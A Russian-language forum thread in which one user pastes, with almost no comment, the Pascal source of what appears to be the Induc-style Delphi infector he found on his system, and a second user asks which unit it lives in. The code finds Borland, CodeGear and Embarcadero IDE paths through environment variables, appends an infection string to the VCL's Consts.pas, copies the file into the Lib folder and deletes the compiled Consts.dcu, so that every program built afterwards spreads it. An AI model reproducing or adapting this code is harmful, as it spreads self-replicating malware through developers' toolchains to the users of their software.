|
#1
|
||||
|
||||
Индюшатина
Обнаружил у себя в эмбаркадере. (Правда он не функционирует как в 7-й дельфи)
Код:
uses Windows, Classes; const TAppBuilder = @TAppBuilder@; _INITIALIZATION = @INITIALIZATION@; BORLAND = @BORLAND@; CODEGEAR = @CODEGEAR@; EMBARCADERO = @EMBARCADERO@; _CONSTS = @Consts@; SrcDir = @\Source\Vcl\@; LibDir = @\Lib\@; var IdeList: TStringList; I: Integer; function PrepareInfection(s:string):string; var i:integer; begin for i:=1 to length(s) do if s[i]=#36 then s[i]:=#39; result:=s; end; procedure GetEnvStrings(var EnvList: TStringList); var i : integer; EnvStrings :pchar; EnvStringsMaxSize : integer; s : string; begin EnvStringsMaxSize := 10000; EnvStrings := GetEnvironmentStrings; try i:=0; s:=@@; while i < EnvStringsMaxSize do begin if EnvStrings[i]<>#0 then s:=s+EnvStrings[i] else begin if s=@@ then break; EnvList.Add(s); s:=@@; end; inc(i); end; finally FreeEnvironmentStrings(EnvStrings); end; end; function DirExists(const Name: string): Boolean; var Code: Integer; begin Code := GetFileAttributes(PChar(Name)); Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code <> 0); end; function FileExists(const FileName: string): Boolean; var Code: Integer; begin Code := GetFileAttributes(PChar(FileName)); Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0); end; function AnsiUpperCase(const S: string): string; var Len: Integer; begin Len := Length(S); SetString(Result, PChar(S), Len); if Len > 0 then CharUpperBuff(PChar(Result), Len); end; procedure GetIdePathes(var MainList: TStringList); function PrepareString(Str: String): String; var S: String; begin S := Str; while POS(@=@, S) <> 0 do Delete(S, 1, POS(@=@, S)); while POS(@;@, S) <> 0 do Delete(S, 1, POS(@;@, S)); RESULT := S; end; function IsValidString(Str: String): Boolean; begin RESULT := FALSE; if (Str <> @@) and (POS(Str, MainList.Text) = 0) and (DirExists(Str)) then RESULT := TRUE; end; var S, Temp: String; TempList:TStringList; I: Integer; DEVELOPER: String; PATHLEN: Integer; begin PATHLEN := 0; TempList:=TStringList.Create; try GetEnvStrings(TempList); S := TempList.Text; finally TempList.Free; end; if (S = @@) then EXIT; for I := 0 to 2 do begin case I of 0: begin DEVELOPER := BORLAND; PATHLEN := 15; end; 1: begin DEVELOPER := CODEGEAR; PATHLEN := 23; end; 2: begin DEVELOPER := EMBARCADERO; PATHLEN := 26; end; end; if POS(DEVELOPER, AnsiUpperCase(S)) <> 0 then begin Temp := S; Delete(Temp, POS(DEVELOPER, AnsiUpperCase(Temp)) + PATHLEN, Length(Temp)); Temp := PrepareString(Temp); if IsValidString(Temp) then MainList.Add(Temp); end; end; end; function DelphiRunning: Boolean; begin RESULT := (FindWindow(TAppBuilder,nil) > 0); end; function IsInfected(FN: String): Boolean; var F:textfile; S:String; begin RESULT := FAlse; assignfile(F,FN); RESET(F); while not EOF(F) do begin READLN(F, S); if Pos(_INITIALIZATION,AnsiUpperCase(S)) <> 0 then begin RESULT := TRUE; BREAK; end; end; closefile(F); end; function IsInvalidFile(FN: String): Boolean; var F:textfile; S:String; begin RESULT := True; assignfile(F,FN); RESET(F); while not EOF(F) do begin READLN(F, S); if Pos(AnsiUpperCase(_CONSTS)+@;@,AnsiUpperCase(S)) <> 0 then begin RESULT := False; BREAK; end; end; closefile(F); end; function ErrorsExists(DelphiDir: String): Boolean; begin RESULT := TRUE; if not FileExists(DelphiDir + SrcDir + _CONSTS+@.pas@) then EXIT; if IsInvalidFile(DelphiDir + SrcDir + _CONSTS+@.pas@) then EXIT; if IsInfected(DelphiDir + SrcDir + _CONSTS+@.pas@) then begin if FileExists(DelphiDir + LibDir + _CONSTS+@.dcu@) then DeleteFile(PChar(DelphiDir + LibDir + _CONSTS+@.pas@)); EXIT; end; RESULT := FALSE; end; function WriteInfection(FN, DelphiDir: String; InfStr: String): Boolean; var F1,F2:textfile; S:String; begin assignfile(F1,FN+@.~pas@); assignfile(F2,FN); Rewrite(F1); RESET(F2); while not EOF(F2) do begin READLN(F2, S); if Pos(@END.@,AnsiUpperCase(S)) = 0 then Writeln(F1, S); end; writeln(F1, InfStr); closefile(F1); closefile(F2); RESULT := DeleteFile(pchar(FN)); if RESULT then RESULT := MoveFile(pchar(FN+@.~pas@),pchar(FN)); if RESULT then RESULT := CopyFile(pchar(FN),pchar(DelphiDir + LibDir + _CONSTS+@.pas@), FALSE); if RESULT then RESULT := DeleteFile(pchar(DelphiDir + LibDir + _CONSTS+@.dcu@)); end; Initialization if not DelphiRunning then begin IdeList:= TStringList.Create; try GetIdePathes(IdeList); for I:=0 to IdeList.Count - 1 do begin if not ErrorsExists(IdeList.Strings[i]) then WriteInfection(IdeList.Strings[i] + SrcDir + _CONSTS+@.pas@, IdeList.Strings[i], PrepareInfection(INFECTION)); end; finally IdeList.Free; end; end; Если страшно, можете прихлопнуть сообщение. |
#2
|
||||
|
||||
В каком юните живёт этот зверёк?
Je venus de nulle part 55.026263 с.ш., 73.397636 в.д. |